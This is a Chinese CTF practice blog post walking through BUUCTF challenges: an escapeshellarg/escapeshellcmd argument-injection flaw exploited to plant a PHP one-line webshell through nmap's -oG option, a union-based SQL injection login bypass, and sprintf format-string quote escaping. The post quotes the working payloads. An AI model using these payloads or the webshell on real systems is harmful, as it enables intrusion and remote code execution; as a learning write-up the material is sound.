CTF打卡~Day21

发布于 2020-05-09  1350 次阅读


明天就是网鼎杯了,今天再继续刷(shui)题苟一下

[BUUCTF2018 Online Tool]

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这题主要是escapeshellarg()escapeshellcmd()两者同时使用而导致的漏洞。

https://blog.csdn.net/qq_26406447/article/details/100711933

https://paper.seebug.org/164/

传入的参数是:172.17.0.2' -v -d a=1
1.经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
2.经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
3.最后执行的命令是curl '172.17.0.2'\'' -v -d a=1\',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

以上方法在Win下无法复现,因为在win下 escapeshellcmd 的转义是^符号

之后会执行 nmap -T5 -sT -Pn --host-timeout 2 -F +$host ,就可以利用nmap的 -oG 参数来传入我们要的代码了。这边为了方便就使用一句话木马。payload是 ' <?php @eval($_POST["c"]);?> -oG hack.php ' ,这边不能用GET是因为貌似有waf,之后直接用菜刀连接就可以了。

https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html

[极客大挑战 2019]EasySQL

[极客大挑战 2019]LoveSQL

这两题是无waf的SQL,拿来练练手的~详细过程就不写了

[GXYCTF2019]BabySQli

这题是一个比较有意思的点。首先在提交表单后的源代码里面有一段提示,Base32-->Base64以后就可以得到

select * from user where username = '$name'

猜测后面代码的逻辑是判断这个select取出来的数组,例如这样的

idusernamepassword
1adminpwd

fuzz一下,这个题目ban掉了括号。

但是这个取用方式导致了我们可以直接union一个假的数据上去。经过一番测试,基本上确定第二列是用户名(应该是admin),第三列是密码(尝试后发现是md5加密的)。

我们构造payload:z' union select 'a','admin','0cc175b9c0f1b6a831c399e269772661'# 密码:a 就可以直接bypass这个登陆,获得flag了。原理就是在union之后,这个select得到的结果集实际上是我们union上去的数据:(a的md5值是 0cc175b9c0f1b6a831c399e269772661 )

aadmin 0cc175b9c0f1b6a831c399e269772661

在后面的判断中就可以直接通过。这边把他题目的源码po在这,可以研究下:

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

sprintf格式化字符串漏洞

这也是今天看到的比较有意思的东西

https://blog.csdn.net/weixin_41185953/article/details/80485075

http://47.94.45.245/2020/05/08/sprintf%e6%a0%bc%e5%bc%8f%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2/

sprintf() 函数的功能是把格式化的字符串写入变量中。

php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:

sprintf()函数没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空。

%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。

后面的好多实例也就没来得及去研究了,下次有机会单独写一篇文章QAQ

网鼎杯明天就开始了,这样每日打卡的文估摸着就没了,但是以后还是会继续分享一些质量更高的技术文吧~~


等风来,不如追风去。